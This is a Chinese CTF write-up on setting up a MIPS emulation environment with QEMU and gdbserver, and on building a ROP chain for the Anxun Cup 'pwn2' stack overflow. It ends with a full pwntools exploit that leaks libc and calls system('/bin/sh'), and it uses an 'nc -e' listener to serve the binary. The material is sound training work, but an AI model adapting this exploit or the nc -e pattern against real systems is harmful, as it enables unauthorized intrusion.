从一道mips题目学习搭建mips环境及ROP

admin 2020年10月31日18:00:50评论345 views字数 5203阅读17分20秒阅读模式

本文以一道简单的mips pwn题,讲解mips环境搭建及mips ROP的构造。这道题目是安洵杯的一道pwn题,题目链接https://github.com/Q1IQ/ctf/blob/master/mips/pwn2

题目初览

首先使用file看一下文件类型,从这里我们能得到的信息是题目是32位的;LSB表示是小端,如果是MSB则表示大端;MIPS32 version 1 (SYSV)表示MIPS的版本,MIPS版本有MIPS32/64、MIPS IV等等;题目是动态链接的,所以我们需要对应的动态链接库。

从一道mips题目学习搭建mips环境及ROP直接运行程序是运行不起来的,这是因为mips架构的elf文件需要在mips环境中才能运行,而且还需要相应的动态链接库。所以下面我们来一起搭建mips环境。要注意题目是什么环境,搭建的就得是什么环境。

交叉编译

交叉编译和本地编译是相对应的概念。我们常见的编译都是本地编译:编译出来的程序是由当前平台编译得到的,而且只能放到当前平台下运行;而交叉编译是指在当前平台下编译出在其他平台下运行的程序,即编译出来的程序运行环境与编译它的环境不一样。

获取交叉编译工具

如果出题人没有给出mips文件依赖的库文件的话,就需要我们自己补上(这就好比libc pwn题不给libc库)。这些库文件可以在交叉编译工具中找到。

有两个办法获取交叉编译工具。

1.源码编译

我们可以使用buildroot自己编译不同架构的交叉编译工具,关于这个的教程很多,可以自行网上搜索不再赘述。对于本题来说,我们在配置时要将第一项Target Architecture,改成MIPS(little endian)

从一道mips题目学习搭建mips环境及ROP

编译好后在buildroot/output/build/uclibc-1.0.32/lib/文件夹下可以找到我们需要的库文件,对于本题来说,我们需要以下三个库文件来使我们的程序能够正常运行。

从一道mips题目学习搭建mips环境及ROP

2.直接下载二进制文件

我们也可以用现成的交叉编译工具,下载链接https://www.uclibc.org/downloads/binaries/0.9.30.1/。

从一道mips题目学习搭建mips环境及ROP

本题是mipsel(little endian),所以需要下载cross-compiler-mipsel,其lib文件夹下存放着库文件,同样也是需要以下三个库文件来使我们的题目程序能够正常运行。

从一道mips题目学习搭建mips环境及ROP

我们在题目所在的文件夹下创建一个名为lib的文件夹,将这三个库文件放在lib文件夹中,后面将使用这个文件夹作为库文件夹。

从一道mips题目学习搭建mips环境及ROP

搭建QEMU虚拟机

下面我们使用qemu搭建mips环境。首先我们需要知道qemu支持两种操作模式:用户模式和系统模式。用户模式允许一个CPU构建的进程在另一个CPU上执行;系统模式则是允许对整个系统进行仿真,包括处理器和配套的外围设备。做题时选用适合的一种即可,下面会介绍配置以上两种环境的方法。

我的本机环境是Ubuntu16.04,先将qemu安装好。

sudo apt-get install qemu sudo apt-get install qemu-user-staticsudo apt-get install qemu-system

系统模式

我们可以使用系统模式配置一台能够联网的qemu虚拟机。

网络配置

如果想要qemu能够联网,需要手动为其虚拟化一张网卡。

安装虚拟网桥工具和UML工具。

sudo apt-get install uml-utilities sudo apt-get install bridge-utils

首先使用ifconfig查看本机网络,下面ens33是能够联网的网卡,lo是本地环回接口。

从一道mips题目学习搭建mips环境及ROP

我们要先关闭ens33网卡,创建virbr0虚拟网桥,将网卡设置为virbr0的一个接口。如果只有一个网桥,则关闭生成树协议,设置virbr0的转发延迟为1,设置 virbr0 hello时间为1。

mips $ sudo ifconfig ens33 down  mips $ sudo brctl addbr virbr0 mips $ sudo brctl addif virbr0 ens33mips $ sudo brctl stp virbr0 off mips $ sudo brctl setfd virbr0 1mips $ sudo brctl sethello virbr0 1

然后启用虚拟网桥,启用ens33网卡,从 dhcp 服务器获取虚拟网桥IP地址。

mips $ sudo ifconfig virbr0 0.0.0.0 promisc upmips $ sudo ifconfig ens33 0.0.0.0 promisc upmips $ sudo dhclient virbr0

创建一个tap0接口,并添加到虚拟网桥,然后启用tap0接口,这个tap0接口会和qemu虚拟机相连。

mips $ sudo tunctl -t tap0mips $ sudo brctl addif virbr0 tap0mips $ sudo ifconfig tap0 0.0.0.0 promisc up

配置好的效果见下。

从一道mips题目学习搭建mips环境及ROP

下载启动镜像

下面我们下载mips镜像。前面分析可知这道题是小端的,所以我们需要下载el(little endian)镜像,这里我们选择debian_wheezy_mipsel_standard.qcow2;内核选择vmlinux-3.2.0-4-4kc-malta。下载链接https://people.debian.org/~aurel32/qemu/mipsel/

启动镜像。

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

-net nic 表示希望 QEMU 在虚拟机中创建一张虚拟网卡,-net tap 表示连接类型为 TAP,并且指定了网卡接口名称(就是刚才创建的 tap0,相当于把虚拟机接入网桥)。

从一道mips题目学习搭建mips环境及ROP

用户名和密码都是root

直接运行题目会显示缺少共享库,我们可以将共享库复制到根文件夹下的lib文件夹下,也可以使用chroot更改根目录。运行题目。

从一道mips题目学习搭建mips环境及ROP

做题少不了调试,我们可以下载gdbserver,启动要调试的程序或附加到需要调试的进程上,然后使用gdb-mutiarch连接调试。各个架构静态编译的gdbserver下载链接https://github.com/e3pem/embedded-toolkit

查看gdbserverREADME,本题使用的mips版本为MIPS32 version 1 (SYSV),搜索找到对应的gdbserver

从一道mips题目学习搭建mips环境及ROP

运行gdbserver,设置好ip端口以及要调试的程序。

从一道mips题目学习搭建mips环境及ROP

在本机使用gdb-mutiarch连接调试。

gdb-multiarch pwn2set arch mipsset endian littletarget remote 192.168.122.12:12345

效果如下。

从一道mips题目学习搭建mips环境及ROP

如果想用脚本直接和题目进行交互,可以在虚拟机里无限循环运行程序,在脚本中远程连接qemu虚拟机ip和端口(下面设为了8080)即可,这样不太稳定,但是也够用了。

while true ;do  nc -lvvp 8080 -t -e ~/pwn2; done;

此外也可以使用socat,可以从网上下载安装,也可以使用静态编译的,这里有一个静态编译的mips工具集:mips-binaries-master,但是这个是MSB(大端)的,无法在小端的虚拟机里运行,遇到大端的题目可以使用。

从一道mips题目学习搭建mips环境及ROP

用户模式

因为我们需要自己设定lib文件夹,所以需要使用静态编译的qemu-mips-static。将qemu-mipsel-static复制到本地文件夹。

cp $(which qemu-mipsel-static) ./

lib文件夹中放好题目需要的库,使用chroot命令将当前目录设为根目录,运行程序。

sudo chroot . ./qemu-mipsel-static ./pwn2

从一道mips题目学习搭建mips环境及ROP

增加-g选项指定端口即可调试。

sudo chroot . ./qemu-mipsel-static -g 54321 ./pwn2

开另一个终端使用gdb-mutiarch连接调试。

gdb-multiarch pwn2set arch mipsset endian littletarget remote 127.0.0.1:54321

题目分析

查看一下程序的保护机制,发现什么保护都没开。

从一道mips题目学习搭建mips环境及ROP

使用IDA打开题目文件。关于mips汇编的知识我就不多介绍了,网上的介绍比较多,例如:

https://valeeraz.github.io/2020/05/08/architecture-mips/

https://www.inntechy.cn/wp-content/uploads/2018/04/参考资料-MIPS-汇编语言简要介绍.pdf

这里介绍一个IDA的小技巧。打开Option->general,选择Auto commentsIDA会在汇编语句后面生成一些提示,告诉我们汇编语句的含义。

从一道mips题目学习搭建mips环境及ROP

效果就是下面这样,直接看这些注释就不用挨个去查mips语句的含义了,其他一切生僻的架构也可以这样快速入手。

从一道mips题目学习搭建mips环境及ROP

下面我们来看汇编,首先看main函数,程序逻辑为输入namename大小为0x14个字节。接着进入了一个叫做vuln的函数里,这个函数里有个比较明显的栈溢出。

从一道mips题目学习搭建mips环境及ROP

漏洞利用

做基础栈溢出pwn题时比较常规的解法就是ROP,对于mips架构也是同理。对于本题可以先泄露read获取libc地址,再构造system('/bin/sh')'/bin/sh'是在libc里找的,这里就和基础栈溢出pwn一样了。下面详细的讲解。

首先我们要泄露libc地址,为了构造puts(elf.got['read']),我们需要控制a0。

0x004006C8处有一个可用的gadget,这个gadget可以控制s0s1s2s2以及跳转地址。

从一道mips题目学习搭建mips环境及ROP

下面0x004007A8处的gadgets1赋值给a0,并跳转到s2,两个gadget配合就达到了控制a0的目的。

从一道mips题目学习搭建mips环境及ROP

构造system('/bin/sh')是同理的。exp附上。

from pwn import *context.log_level = 'debug'libc=ELF("./lib/libc.so.0")elf = ELF('./pwn2')io = remote("192.168.3.26", 8080)s       = lambda data               :io.send(str(data)) sa      = lambda delim,data         :io.sendafter(str(delim), str(data))sl      = lambda data               :io.sendline(str(data))sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))r       = lambda numb=4096          :io.recv(numb)ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
ru("What's your name: n")sl("q1iq")sleep(0.2)r()
#leak gotj2s2_s1a0=0x004007A8#gadgetj_s3210=0x004006C8main=0x00400820c=''c+='x31'*0x24c+=p32(j_s3210)c+='x31'*0x1cc+=p32(1111)#s0c+=p32(elf.got['read'])#s1c+=p32(0x0040092C)#s2c+=p32(1111)#s3c+=p32(j2s2_s1a0)#rac+='x20'*0x20c+=p32(0x400750)sl(c)
#libcbaseread_addr=u32(r()[0:4])libc.address=read_addr-libc.symbols['read']
#getshellc=''c+='x31'*0x24c+=p32(j_s3210)c+='x31'*0x1cc+=p32(1111)#s0c+=p32(libc.search('/bin/sh').next())#s1c+=p32(libc.symbols['system'])#s2c+=p32(1111)#s3c+=p32(j2s2_s1a0)#rasl(c)
io.interactive()

成功获取shell

从一道mips题目学习搭建mips环境及ROP



承接CTF培训【全系全套】
渗透测试项目、安全咨询项目

本文始发于微信公众号(黑伞攻防实验室):从一道mips题目学习搭建mips环境及ROP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年10月31日18:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从一道mips题目学习搭建mips环境及ROPhttps://cn-sec.com/archives/174012.html

发表评论

匿名网友 填写信息